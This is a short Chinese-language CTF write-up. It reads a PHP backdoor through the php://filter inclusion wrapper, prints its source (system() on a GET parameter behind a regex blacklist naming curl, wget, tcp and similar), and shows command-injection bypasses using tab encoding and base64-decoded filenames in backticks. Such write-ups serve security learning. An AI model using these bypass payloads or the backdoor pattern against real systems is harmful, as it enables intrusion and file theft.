1.首先打开页面查看源代码:
这里是一个简单的文件包含,使用伪协议进行读取:
?file=php://filter/convert.base64-encode/resource=mybackdoor.php
2.进行解码后读取到mybackdoor.php的源码,本题比较简单,主要学习两种正则绕过方式:
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
是简单的正则绕过:这里由于过滤了空格所以使用url编码tab键为%09:
ls%09/ 查看根目录
接下来读取文件:
方法一:使用nl命令:
nl%09/F[a-z]4g_is_here
nl命令在linux系统中用来计算文件中行号。
nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。
方法二:使用base64编码读取
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d` 使用反引号表示将执行结果传递给tac
base64编码url的格式:
tac `echo /Fl4g_is_here|base64 -d`